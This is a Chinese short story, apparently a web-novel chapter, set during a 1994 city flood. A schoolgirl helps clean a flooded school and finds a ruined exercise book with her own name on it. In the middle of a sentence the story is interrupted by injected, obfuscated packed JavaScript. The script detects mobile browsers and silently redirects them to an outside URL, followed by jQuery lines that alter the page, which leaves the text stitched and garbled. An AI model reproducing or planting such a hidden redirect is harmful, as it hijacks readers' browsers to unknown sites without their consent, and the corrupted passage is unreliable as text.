1994年5月。
清清是被窗外的光晃醒的。
不是阳光。是一种比平时更亮、更白的光，从窗帘缝隙里透进来，落在床尾。她躺着看了一会儿，然后爬起来，套上衣服，去洗脸刷牙。
母亲在厨房忙，听见动静，探出头来。
“醒了？早饭在桌上，吃完赶紧上学。”
清清嗯了一声，坐下来吃饭。稀饭，咸菜，一个荷包蛋。她慢慢吃着，听母亲在厨房里刷碗的声音，哗啦哗啦的。
吃完饭，背上书包，出门。
楼梯还是那个楼梯，水泥台阶，绿色栏杆。她一级一级往下跑，脚步声嗒嗒嗒的，在楼道里带回音。
跑到楼底下，站住了。
今天有点不一样。
空气里有一股味道。不是平时那种早晨的、清清爽爽的味道。是一种潮潮的、闷闷的，说不上来的味道。像是谁把一件湿衣服挂在屋里好几天，闷出来的那种味。
她没多想，往学校走。
校门口
清清站在那儿，愣住了。
校门开着，那两扇深绿色的铁栅栏门半敞着。但门口一个人也没有。
平时这个时候，门口应该挤满了人——送孩子的家长，背着书包往里跑的学生，推着自行车经过的。今天一个人也没有。
清清往门里看。
操场空荡荡的。煤渣跑道，黄土操场，篮球架，杨树，都安安静静地站在那儿。没有人。一个也没有。
她站在门口，不知道自己该不该进去。
站了一会儿，她还是往里走。
穿过操场，走到右手边那栋楼，上楼，二楼，从东边数第三间。门开着。
她走进去。
教室里只有五六个人。
平时挤得满满的三十多张课桌，这会儿空了一大半。那几个人散落在各处，有的趴在桌上，有的在说话，有的发呆。看见她进来，有人抬头看了一眼，又低下去了。
清清走到自己座位上，坐下来。
旁边的座位空着。云曦还没来。
她掏出课本，摊在桌上，眼睛盯着书，但没看进去。教室里太安静了。平时这个时候，应该是乱糟糟的——有人在大声念书，有人在追跑打闹，有人在借作业抄。今天什么都没有。
过了不知道多久，老师走进来。
是班主任。他站在讲台上，看了看底下那几个人，然后开口。
“今天不上课了。市中心发大水，好多地方淹了，学校通知放假。”
清清愣了一下。
“老师让你们都回家去，别在外面乱跑。等通知，什么时候复课再说。”
说完他就走了。
清清坐在那儿，没动。
发大水？
她没见过发大水。只在电视里看过。洪水，黄黄的，卷着东西往下冲。房子倒了，树倒了，人站在屋顶上等救。那是电视里的。很远。
她站起来，往外走。
走到校门口的时候，她停下来，往学校后面那条巷子看了一眼。
那是一条窄巷子，两边是墙，平时没人走。这会儿——
水。
水从巷子那头漫过来，黄黄的，浑浑的，慢慢往这边淌。已经漫了一半，墙根底下那一截泡在水里，水面上漂着几片叶子，还有一根树枝，慢慢打转。
清清站在那儿，看着那水。
它流得很慢。不像电视里那样轰轰地冲过来。就是慢慢地、稳稳地往这边漫。像有什么东西在它后面推着它，一点一点往前。
她看了一会儿，转身往家走。
走到那条上坡道的时候，她停下来，回头看了一眼。
主街道在下面。
平时那条街总是有人，有车，有声音。这会儿空空荡荡的。但真正让她站住的，是远处那一片——
黄黄的。一大片黄黄的。从市中心那个方向漫过来，漫过街道，漫过楼房的脚，漫过那些她认识的店铺的门口。水面上漂着东西，看不清是什么。
她站在坡道上，看着那片黄水。
家在这条坡道的上面。再往上走几步，就是那片空地，那些矮厨房，那栋筒子楼。水到不了这儿。坡太高了。
她站了很久。
直到身后传来声音。
“站那儿发什么呆呢？”
清清回过头。
母亲站在楼底下，手里拎着一袋菜，正看着她。
清清没说话。
母亲走过来，顺着她的目光往下看了一眼。然后收回目光，看清清。
清清站在那儿，脸上没什么表情，就是呆呆的，看着下面那片水。
母亲忍不住笑了一下。
“看什么呢？没见过发大水？”
清清摇摇头。
“好了好了，”母亲伸手拍了拍她的肩膀，“回家吧。今天不上学，就在家好好待着。作业写了没？”
清清点点头，又摇摇头。
“那就是没写。回去写作业。”
清清跟着她往家走。
走了两步，她又回头看了一眼。
那片水还在那儿，黄黄的，静静的。
她转过头，继续走。
回到家，清清把书包放好，坐到书桌前。
但她没写作业。
她趴在窗口，往外看。
从她家窗户看出去，能看见那片空地，那些矮厨房，那条上坡道。再往下看不见了，被楼挡住了。但她知道那片水在那儿。
她看了一会儿，忽然想起什么。
她爬起来，走到客厅，拿起电话。
拨号。等。
嘟——嘟——嘟——
“喂？”那头传来云曦的声音。
“云曦，你还好吗？”
“没事，”云曦的声音亮亮的，“我家这儿没事，坡高着呢。你们家呢？”
“也没事。”
“那就好。”云曦说
清清没说话。
“喂？清清？”
“在呢。”
“你干嘛呢？”
“没干嘛。趴窗户。”
云曦笑起来：“趴窗户看什么？”
“看水。”
“看得见吗？”
“看不见。但知道在那儿。”
云曦笑了一声，然后说：“老师说等通知复课。什么时候通知了，你叫我。”
“好。”
“那我挂了啊，我妈叫我呢。”
“好。”
电话挂了。
清清站在那儿，握着话筒，听了一会儿里面的忙音。然后挂上。
她又走回窗口，趴着。
楼下有人说话。是邻居家的阿姨，在跟谁说着什么。清清听见几个字——“市中心”“淹了”“一楼全完了”。
她没听清后面的话。
一周后，通知来了。
学校复课。但不去原来的学校。
“去临街那所，”老师在电话里说，“那学校淹得厉害，咱们学校组织去帮忙。带上工具，扫帚铲子都行。明天早上八点，校门口集合。”
第二天早上，清清背着书包，拿着扫帚，到校门口集合。
人到得差不多了。云曦也来了，扎着马尾，手里拎着一个铁桶。
“走啦走啦，”她拉着清清，“听说那学校可惨了，全是泥。”
一群人往临街那所学校走。
走了二十多分钟，到了。
清清站在校门口，看着里面，愣住了。
这学校和她自己的学校差不多大，一样的楼，一样的操场。但现在——
操场上全是泥。黄黄的，厚厚的，堆得到处都是。有地方泥浅，露出底下煤渣的颜色。有地方泥深，一脚踩下去能没过脚踝。
教学楼门口，有人在往外搬东西。课桌，椅子，一摞一摞往外抬，放到操场上。
清清跟着人群往里走。
脚踩在泥里，软软的，滑滑的。每走一步都要使劲拔出来。云曦在旁边拎着铁桶，走得东倒西歪的，清清扶了她一把。
“小心点。”
“没事没事。”
她们被分到一组，负责清理教室。
教室门开着，清清站在门口往里看。
地面上一层泥，厚厚的，已经半干了，裂成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437411|200981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一块一块的。课桌歪七扭八地倒着，有的倒了，有的还站着，但腿上全是泥印子。墙根底下堆着一堆东西，看不清是什么，被泥糊住了。
“来，往外搬桌子。”老师的声音从后面传来。
清清走进去，和云曦一起抬一张课桌。
桌子很沉，沾了泥更沉。她们一人抬一边，一步一步往外挪。走到门口的时候，清清脚下一滑，差点摔倒，云曦喊了一声“小心”，两个人晃了晃，稳住了。
把桌子放到操场上，又回去抬下一张。
抬了几张，清清累了，站着喘气。
阳光照在操场上，亮晃晃的。那些抬出来的课桌一排一排，挤得满满当当。有人在擦桌子，有人在清抽屉，有人把抽屉里的东西倒出来，堆成一堆。
清清看着那些东西。
有课本，有作业本，有铅笔盒，有卷子。都湿了，皱皱巴巴的，沾着泥点子。有人在翻那些作业本，找有没有能用的。
清清走过去，蹲下来，看那堆东西。
她随手拿起一本作业本。
封面是黄色的，印着“语文”两个字，上面写着名字和班级。字迹被水泡过，洇开了，看不太清。她眯着眼睛看——
一年（3）班。
名字那里，三个字。第一个字是“苏”。
第二个字也是“苏”？不对，是“清”？洇得太厉害，看不清。
第三个字——
清清愣了一下。
第三个字，是“清”。
苏？清？清？
她把作业本翻过来，看了看封面背面。那里通常也有名字，用铅笔写的，不容易洇。
有。铅笔写的，清清楚楚——
一年（3）班苏清清
清清蹲在那儿，看着那三个字，看了很久。
“清清，你干嘛呢？”
云曦的声音从身后传来。
清清没动。
云曦走过来，蹲到她旁边，看她手里的作业本。
“看什么呢？”
清清把作业本递给她。
云曦接过去，看了一眼封面，又看一眼。然后抬起头，看清清。
“苏清清？”
清清点点头。
云曦又看了一眼作业本，又看清清。
“你以前的？”
清清想了想。一年级的时候，她是在这个学校吗？她不记得了。她只记得自己从一年级就在现在的学校，没换过。但这个作业本上，确实是她的名字。
“可能是重名吧。”云曦说，“这学校也有叫苏清清的。”
清清没说话。
她把那本作业本翻过来，翻过去，看了很久。
然后她站起来，把作业本放回那堆东西里。
云曦看着她。
“怎么了？”
清清摇摇头。
“没怎么。”
两个人继续干活。
下午的时候，活干得差不多了。操场上的桌椅都清理完了，教室里的泥也铲出去大半。大家累得够呛，坐在操场边上喝水。
清清坐在那儿，看着那堆作业本。
阳光照在上面，照得那些皱皱巴巴的封面发着光。她看着那堆东西，忽然开口。
“云曦。”
“嗯？”
“我们都要好好的。”
云曦转过头看她。
清清没看她，还看着那堆作业本。
云曦看了她一会儿，然后伸出手，在她肩膀上拍了一下。
“说什么呢。”她说，“咱们当然好好的。”
清清转过头，看着她。
云曦的脸被太阳晒得有点红，额头上还有汗，眼睛亮亮的。
清清忽然笑了笑。
“嗯。”
远处有人喊她们，让过去帮忙。两个人站起来，拍拍屁股上的土，往那边走。
走过那堆作业本的时候，清清又看了一眼。
那本写着“苏清清”的作业本，躺在最上面。封面被太阳晒着，黄黄的。
她看了一眼，然后转过头，继续往前走。
太阳在天上，亮晃晃的。